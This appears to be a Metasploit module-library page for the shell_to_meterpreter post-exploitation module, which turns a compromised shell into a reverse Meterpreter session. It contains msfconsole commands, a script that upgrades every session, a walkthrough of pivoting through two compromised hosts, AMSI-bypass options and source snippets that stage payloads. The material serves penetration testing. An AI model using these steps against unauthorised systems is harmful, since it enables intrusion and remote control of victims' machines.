Shell to Meterpreter Upgrade - Metasploit
This page contains detailed information about how to use the post/multi/manage/shell_to_meterpreter metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Shell to Meterpreter Upgrade
Module: post/multi/manage/shell_to_meterpreter
Source code: modules/post/multi/manage/shell_to_meterpreter.rb
Disclosure date: -
Last modification time: 2021-11-24 16:37:21 +0000
Supported architecture(s): -
Supported platform(s): BSD, Linux, OSX, Solaris, Unix, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module attempts to upgrade a command shell to meterpreter. The shell platform is automatically detected and the best version of meterpreter for the target is selected. Currently meterpreter/reverse_tcp is used on Windows and Linux, with 'python/meterpreter/reverse_tcp' used on all others.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/multi/manage/shell_to_meterpreter
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/multi/manage/shell_to_meterpreter
msf post(shell_to_meterpreter) > show options
... show and set options ...
msf post(shell_to_meterpreter) > set SESSION session-id
msf post(shell_to_meterpreter) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/multi/manage/shell_to_meterpreter")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
shell_to_meterpreter
allows you to upgrade a shell session to Meterpreter. It can be launched as
a post module, or from the sessions
command. By default, this module will use a reverse
Meterpreter.
Important Options
HANDLER
The handler option is for starting a multi/handler to receive the connection. By default this is true, because you will need it. But if for some reason if you're setting one separately, you may want to consider having it as false.
LHOST
The LHOST option is for the reverse Meterpreter you are upgrading to. By default, the module can figure it out for you. But over a pivot, you will need to manually set this, because session objects don't necessarily have that information.
LPORT
The LPORT option is also for the reverse Meterpreter you are upgrading to.
PAYLOAD_OVERRIDE
This is an advanced option. If you don't want to use the default reverse Meterpreter, then you can use this.
Scenarios
Using sessions -u
sessions -u
is the same as running the post module against a specific session. However, this
is limited to using the default reverse Meterpreter payload, so you will not be able to use it
via a pivot.
Usage is rather simple. At the msf prompt, first off, read the sessions table to see which one you want to upgrade:
msf > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 shell windows 192.168.146.1:4444 -> 192.168.146.128:1204 (192.168.146.128)
msf >
In this demonstration, session 1 is a shell, so we upgrade that:
msf > sessions -u 1
Upgrading a shell via a pivot
This scenario is a little tricky, because the default options won't work over a pivot. The problem is that if you got a session with a bindshell, your LHOST will say "Local Pipe". And if you got it with a reverse shell, the LHOST is actually an IP range. Neither is an acceptable format for the LHOST option.
There are two ways you can choose: either you must manually set LHOST, or you could choose a
bind Meterpreter. The second is really easy, all you need to do is set PAYLOAD_OVERRIDE
.
If you prefer to manually set LHOST, this should be the compromised host you're pivoting from. Perhaps a digram will help to explain this:
|-------------| |-------------------| |-------------------|
| Attacker | <---> | Compromised box A | <---> | Compromised box B |
|-------------| |-------------------| |-------------------|
192.168.146.1 192.168.146.128
192.168.1.101 (VPN) 192.168.1.102(VPN)
In this example, let's start with breaking into box A (192.168.146.128):
[*] Sending stage (957999 bytes) to 192.168.146.128
[*] Meterpreter session 1 opened (192.168.146.1:4444 -> 192.168.146.128:1208) at 2016-04-28 22:45:09 -0500
meterpreter >
We decide that box A is on a VPN, with IP 192.168.1.101. Also, we found box B as 192.168.1.102. We need to create that pivot:
msf > route add 192.168.1.1 255.255.255.0 1
[*] Route added
And we break into box B (192.168.1.102) with a Windows bind shell:
[*] Command shell session 2 opened (Local Pipe -> Remote Pipe) at 2016-04-28 22:47:03 -0500
Notice this says "Local Pipe", which means the box B's session object doesn't really know box A's IP. If you try to run shell_to_meterpreter this way, this is all you get:
msf post(shell_to_meterpreter) > run
[*] Upgrading session ID: 2
[-] LHOST is "Local Pipe", please manually set the correct IP.
[*] Post module execution completed
To upgrade box B's shell, set LHOST to box A's 192.168.1.101. And that should connect correctly:
msf post(shell_to_meterpreter) > run
[*] Upgrading session ID: 2
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.1.101:4433 via the meterpreter on session 1
[*] Starting the payload handler...
[*] Sending stage (957999 bytes) to 192.168.1.102
[-] Powershell is not installed on the target.
[*] Command stager progress: 1.66% (1699/102108 bytes)
...
[*] Command stager progress: 100.00% (102108/102108 bytes)
[*] Meterpreter session 3 opened (192.168.146.1-192.168.146.128:4433 -> 192.168.1.102:1056) at 2016-04-28 22:50:56 -0500
Go back to menu.
Msfconsole Usage
Here is how the multi/manage/shell_to_meterpreter post exploitation module looks in the msfconsole:
msf6 > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > show info
Name: Shell to Meterpreter Upgrade
Module: post/multi/manage/shell_to_meterpreter
Platform: Linux, OSX, Unix, Solaris, BSD, Windows
Arch:
Rank: Normal
Provided by:
Tom Sellers <[email protected]>
Compatible session types:
Shell
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HANDLER true yes Start an exploit/multi/handler to receive the connection
LHOST no IP of host that will receive the connection from the payload (Will try to auto detect).
LPORT 4433 yes Port for payload to connect to.
SESSION yes The session to run this module on.
Description:
This module attempts to upgrade a command shell to meterpreter. The
shell platform is automatically detected and the best version of
meterpreter for the target is selected. Currently
meterpreter/reverse_tcp is used on Windows and Linux, with
'python/meterpreter/reverse_tcp' used on all others.
Module Options
This is a complete list of options available in the multi/manage/shell_to_meterpreter post exploitation module:
msf6 post(multi/manage/shell_to_meterpreter) > show options
Module options (post/multi/manage/shell_to_meterpreter):
Name Current Setting Required Description
---- --------------- -------- -----------
HANDLER true yes Start an exploit/multi/handler to receive the connection
LHOST no IP of host that will receive the connection from the payload (Will try to auto detect).
LPORT 4433 yes Port for payload to connect to.
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the multi/manage/shell_to_meterpreter post exploitation module:
msf6 post(multi/manage/shell_to_meterpreter) > show advanced
Module advanced options (post/multi/manage/shell_to_meterpreter):
Name Current Setting Required Description
---- --------------- -------- -----------
BOURNE_FILE no Remote filename to use for dropped binary
BOURNE_PATH no Remote path to drop binary
HANDLE_TIMEOUT 30 yes How long to wait (in seconds) for the session to come back.
PAYLOAD_OVERRIDE no Define the payload to use (meterpreter/reverse_tcp by default) .
Powershell::Post::dry_run false yes Return encoded output to caller
Powershell::Post::force_wow64 false yes Force WOW64 execution
Powershell::Post::log_output false yes Write output to log file
Powershell::Post::timeout 15 yes Powershell execution timeout, set < 0 to run async without termination
Powershell::encode_final_payload false yes Encode final payload for -EncodedCommand
Powershell::encode_inner_payload false yes Encode inner payload for -EncodedCommand
Powershell::exec_in_place false yes Produce PSH without executable wrapper
Powershell::exec_rc4 false yes Encrypt PSH with RC4
Powershell::method reflection yes Payload delivery method (Accepted: net, reflection, old, msil)
Powershell::no_equals false yes Pad base64 until no "=" remains
Powershell::noninteractive true yes Execute powershell without interaction
Powershell::persist false yes Run the payload in a loop
Powershell::prepend_protections_bypass true yes Prepend AMSI/SBL bypass
Powershell::prepend_sleep no Prepend seconds of sleep
Powershell::remove_comspec false yes Produce script calling powershell directly
Powershell::strip_comments true yes Strip comments
Powershell::strip_whitespace false yes Strip whitespace
Powershell::sub_funcs false yes Substitute function names
Powershell::sub_vars true yes Substitute variable names
Powershell::wrap_double_quotes true yes Wraps the -Command argument in single quotes
VERBOSE false no Enable detailed status messages
WIN_TRANSFER POWERSHELL yes Which method to try first to transfer files on a Windows target. (Accepted: POWERSHELL, VBS)
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the multi/manage/shell_to_meterpreter module can do:
msf6 post(multi/manage/shell_to_meterpreter) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the multi/manage/shell_to_meterpreter post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(multi/manage/shell_to_meterpreter) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Meterpreter sessions cannot be upgraded any higher
- LHOST is "Local Pipe", please manually set the correct IP.
- Shells on the target platform, <SESSION.PLATFORM>, cannot be upgraded to Meterpreter at this time.
- Unable to build a suitable payload for <SESSION.PLATFORM> using payload <PAYLOAD_NAME>.
- Failed to start exploit/multi/handler on <LPORT>, it may be in use by another process.
- MSIL Powershell method no longer exists
- No Powershell method specified
- Powershell is not installed on the target.
- The command stager could not be generated.
- Error: Unable to execute the following command
- Output
- Error: <E>
- Job <CURRENT_ID> is listening on IP <CURRENT_LHOST> and port <CURRENT_LPORT>
- A job is listening on the same local port
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Meterpreter sessions cannot be upgraded any higher
Here is a relevant code snippet related to the "Meterpreter sessions cannot be upgraded any higher" error message:
49: # Run method for when run command is issued
50: def run
51: print_status("Upgrading session ID: #{datastore['SESSION']}")
52:
53: if session.type == 'meterpreter'
54: print_error("Meterpreter sessions cannot be upgraded any higher")
55: return nil
56: end
57:
58: # Try hard to find a valid LHOST value in order to
59: # make running 'sessions -u' as robust as possible.
LHOST is "Local Pipe", please manually set the correct IP.
Here is a relevant code snippet related to the "LHOST is "Local Pipe", please manually set the correct IP." error message:
62: elsif framework.datastore['LHOST']
63: lhost = framework.datastore['LHOST']
64: else
65: lhost = session.tunnel_local.split(':')[0]
66: if lhost == 'Local Pipe'
67: print_error 'LHOST is "Local Pipe", please manually set the correct IP.'
68: return
69: end
70: end
71:
72: # If nothing else works...
Shells on the target platform, <SESSION.PLATFORM>, cannot be upgraded to Meterpreter at this time.
Here is a relevant code snippet related to the "Shells on the target platform, <SESSION.PLATFORM>, cannot be upgraded to Meterpreter at this time." error message:
118: end
119: payload_name = datastore['PAYLOAD_OVERRIDE'] if datastore['PAYLOAD_OVERRIDE']
120: vprint_status("Upgrade payload: #{payload_name}")
121:
122: if platform.blank?
123: print_error("Shells on the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.")
124: return nil
125: end
126:
127: payload_data = generate_payload(lhost, lport, payload_name)
128: if payload_data.blank?
Unable to build a suitable payload for <SESSION.PLATFORM> using payload <PAYLOAD_NAME>.
Here is a relevant code snippet related to the "Unable to build a suitable payload for <SESSION.PLATFORM> using payload <PAYLOAD_NAME>." error message:
124: return nil
125: end
126:
127: payload_data = generate_payload(lhost, lport, payload_name)
128: if payload_data.blank?
129: print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.")
130: return nil
131: end
132:
133: if datastore['HANDLER']
134: listener_job_id = create_multihandler(lhost, lport, payload_name)
Failed to start exploit/multi/handler on <LPORT>, it may be in use by another process.
Here is a relevant code snippet related to the "Failed to start exploit/multi/handler on <LPORT>, it may be in use by another process." error message:
131: end
132:
133: if datastore['HANDLER']
134: listener_job_id = create_multihandler(lhost, lport, payload_name)
135: if listener_job_id.blank?
136: print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
137: return nil
138: end
139: end
140:
141: case platform
MSIL Powershell method no longer exists
Here is a relevant code snippet related to the "MSIL Powershell method no longer exists" error message:
148: when 'reflection'
149: Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload_data)
150: when 'old'
151: Rex::Powershell::Payload.to_win32pe_psh(template_path, payload_data)
152: when 'msil'
153: fail RuntimeError, 'MSIL Powershell method no longer exists'
154: else
155: fail RuntimeError, 'No Powershell method specified'
156: end
157:
158: # prepend_sleep => 1
No Powershell method specified
Here is a relevant code snippet related to the "No Powershell method specified" error message:
150: when 'old'
151: Rex::Powershell::Payload.to_win32pe_psh(template_path, payload_data)
152: when 'msil'
153: fail RuntimeError, 'MSIL Powershell method no longer exists'
154: else
155: fail RuntimeError, 'No Powershell method specified'
156: end
157:
158: # prepend_sleep => 1
159: psh_payload = 'Start-Sleep -s 1;' << psh_payload
160:
Powershell is not installed on the target.
Here is a relevant code snippet related to the "Powershell is not installed on the target." error message:
167: unless session.type == 'shell'
168: psh_opts[:remove_comspec] = true
169: end
170: cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts))
171: else
172: print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
173: vprint_status("Transfer method: VBS [fallback]")
174: exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
175: aborted = transmit_payload(exe, platform)
176: end
177: end
The command stager could not be generated.
Here is a relevant code snippet related to the "The command stager could not be generated." error message:
221: cmdstager = Rex::Exploitation::CmdStagerBourne.new(exe)
222: end
223:
224: cmds = cmdstager.generate(opts)
225: if cmds.nil? || cmds.length < 1
226: print_error('The command stager could not be generated.')
227: raise ArgumentError
228: end
229:
230: #
231: # Calculate the total size
Error: Unable to execute the following command
Here is a relevant code snippet related to the "Error: Unable to execute the following command" error message:
247: else
248: ret.strip!
249: aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
250: end
251: if aborted
252: print_error('Error: Unable to execute the following command: ' + cmd.inspect)
253: print_error('Output: ' + ret.inspect) if ret && !ret.empty?
254: break
255: end
256:
257: sent += cmd.length
Output
Here is a relevant code snippet related to the "Output" error message:
248: ret.strip!
249: aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
250: end
251: if aborted
252: print_error('Error: Unable to execute the following command: ' + cmd.inspect)
253: print_error('Output: ' + ret.inspect) if ret && !ret.empty?
254: break
255: end
256:
257: sent += cmd.length
258:
Error: <E>
Here is a relevant code snippet related to the "Error: <E>" error message:
260: }
261: rescue ::Interrupt
262: # TODO: cleanup partial uploads!
263: aborted = true
264: rescue => e
265: print_error("Error: #{e}")
266: aborted = true
267: end
268:
269: return aborted
270: end
Job <CURRENT_ID> is listening on IP <CURRENT_LHOST> and port <CURRENT_LPORT>
Here is a relevant code snippet related to the "Job <CURRENT_ID> is listening on IP <CURRENT_LHOST> and port <CURRENT_LPORT>" error message:
302: if j.name =~ / multi\/handler/
303: current_id = j.jid
304: current_lhost = j.ctx[0].datastore['LHOST']
305: current_lport = j.ctx[0].datastore['LPORT']
306: if lhost == current_lhost && lport == current_lport.to_i
307: print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
308: return true
309: end
310: end
311: end
312: return false
A job is listening on the same local port
Here is a relevant code snippet related to the "A job is listening on the same local port" error message:
345: select(nil, nil, nil, 5)
346: return nil if framework.jobs[mh.job_id.to_s].nil?
347:
348: return mh.job_id.to_s
349: else
350: print_error('A job is listening on the same local port')
351: return nil
352: end
353: end
354:
355: def generate_payload(lhost, lport, payload_name)
Go back to menu.
Related Pull Requests
- #15534 Merged Pull Request: fix #15528, fix powershell command length in shell_to_meterpreter
- #14738 Merged Pull Request: Fix #14620, fix multi/manage/shell_to_meterpreter on macOS
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14405 Merged Pull Request: fix encoding and comspec in shell_to_meterpreter (sessions -u)
- #11174 Merged Pull Request: fixed post/multi/manage/shell_to_meterpreter
- #10584 Merged Pull Request: fix #10576, fix session upgrade HANDLE_TIMEOUT and upgrading osx shells
- #9607 Merged Pull Request: upgrade osx shells to osx meterpreter
- #9119 Merged Pull Request: Fix #8436, allow session upgrading on meterpreter sessions
- #8336 Merged Pull Request: Specify lhost by interface name
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7909 Merged Pull Request: change python invocation in sessions -u
- #7508 Merged Pull Request: Fix typo PAYLOAD_OVERWRITE vs PAYLOAD_OVERRIDE
- #7507 Merged Pull Request: Refactor arch/platform, refactor TLV XOR, add UUID to each packet, fix payload uuid/arch/platform tracking, and update everything to match
- #7470 Merged Pull Request: fixes bad file refs for cmdstagers
- #6832 Merged Pull Request: Fix #5191, bad LHOST format causes shell_to_meterpreter to backtrace
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6381 Merged Pull Request: Issue #6359 fix - post/multi/manage/shell_to_meterpreter.rb
- #6238 Merged Pull Request: Add support for specifying path, file in bourne dropper
Go back to menu.
See Also
Check also the following modules related to this module:
- post/multi/manage/autoroute
- post/multi/manage/dbvis_add_db_admin
- post/multi/manage/dbvis_query
- post/multi/manage/fileshare
- post/multi/manage/hsts_eraser
- post/multi/manage/multi_post
- post/multi/manage/open
- post/multi/manage/play_youtube
- post/multi/manage/record_mic
- post/multi/manage/screensaver
- post/multi/manage/screenshare
- post/multi/manage/set_wallpaper
- post/multi/manage/sudo
- post/multi/manage/system_session
- post/multi/manage/upload_exec
- post/multi/manage/zip
Authors
- Tom Sellers <tom [at] fadedcode.net>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.